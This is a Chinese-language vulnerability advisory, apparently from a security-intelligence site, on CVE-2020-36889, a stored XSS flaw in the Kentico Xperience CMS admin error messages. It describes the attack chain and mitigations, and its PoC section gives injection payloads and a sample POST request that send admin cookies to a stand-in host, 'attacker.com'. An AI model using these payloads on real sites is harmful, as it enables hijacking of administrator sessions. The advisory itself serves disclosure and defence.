IPBUF安全漏洞报告
English
CVE-2020-36889 CVSS 5.4 中危

CVE-2020-36889: Kentico Xperience 存储型XSS漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2020-36889
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Kentico Xperience

相关标签

存储型XSSKentico XperienceCVE-2020-36889CMS漏洞管理界面会话劫持跨站脚本中等严重

漏洞概述

CVE-2020-36889是Kentico Xperience CMS系统中存在的存储型跨站脚本攻击漏洞。该漏洞允许具有低权限的远程攻击者通过在错误消息中注入特制的恶意对象名称来执行跨站脚本攻击。当系统管理员在管理界面查看错误消息时,注入的恶意JavaScript代码会在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取或对管理员进行进一步攻击。此漏洞的CVSS评分为5.4,属于中等严重程度,需要用户交互才能成功利用。攻击向量为网络,认证要求较低权限,但需要管理员查看相关错误消息才能触发漏洞。由于漏洞位于管理界面的错误消息处理机制中,攻击者可以利用此漏洞对具有更高权限的管理员用户进行攻击,从而可能获得更大的系统控制权限。

技术细节

该存储型XSS漏洞存在于Kentico Xperience的管理界面错误消息处理模块中。当系统处理包含恶意构造的对象名称时,这些名称会被存储在系统数据库中,而系统未能对用户输入进行充分的HTML实体编码。在管理员访问特定的管理功能页面查看错误日志或错误消息时,未经过滤的恶意脚本会被浏览器解析执行。攻击者需要具备基本的用户账户(低权限即可),通过在对象创建或编辑接口中输入包含<script>标签或事件处理器(如onerror、onload等)的特制对象名称。系统将这些恶意输入存储后,当管理员触发错误场景或查看相关日志时,恶意代码便会自动执行。由于攻击针对的是具有更高权限的管理员账户,攻击者可能借此获取管理员会话令牌,进一步控制整个CMS系统。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的是Kentico Xperience CMS系统,并确认版本存在CVE-2020-36889漏洞
STEP 2
步骤2: 获取低权限账户
攻击者获取或注册一个具有低权限的Kentico Xperience用户账户
STEP 3
步骤3: 注入恶意脚本
攻击者在系统中创建或编辑对象时,注入包含XSS payload的特殊构造对象名称,如<script>alert(document.cookie)</script>
STEP 4
步骤4: 触发错误保存
通过特定操作触发错误条件,使包含payload的错误消息被系统记录并存储到数据库
STEP 5
步骤5: 等待管理员访问
当管理员登录管理界面查看错误日志或相关错误消息时,存储的恶意脚本被浏览器解析执行
STEP 6
步骤6: 会话劫持
恶意脚本执行后,攻击者可以窃取管理员的会话cookie或执行其他恶意操作,进一步控制整个系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2020-36889 Stored XSS PoC for Kentico Xperience // Author: VulnCheck // Step 1: Create an object with a malicious name in the CMS // Use the following payload as the object name: // <script>alert(document.cookie)</script> // or // <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> // Example using Kentico Xperience API: const payload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>'; // Step 2: Trigger an error condition to save the payload in error logs // This can be done by: // - Creating an object with invalid parameters // - Uploading a file with special characters in name // - Performing operations that generate error messages // Step 3: Wait for administrator to view error logs in admin interface // The XSS will execute when the admin views the error message containing the payload // HTTP Request Example: /* POST /CMSPages/DocumentWizard/Doc_Edit.aspx HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded objectName=<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>&action=create */

影响范围

Kentico Xperience < 13.0.200
Kentico Xperience (ASP.NET Core) < 13.0.200

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1) 限制用户创建对象名称的字符类型,只允许字母数字和特定符号;2) 在应用程序层对所有用户输入进行HTML实体编码;3) 实施严格的访问控制,限制谁可以访问管理界面的错误日志功能;4) 监控异常的错误日志模式,及时发现潜在的攻击行为;5) 对管理员进行安全意识培训,提醒不要点击可疑链接或查看来源不明的错误消息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表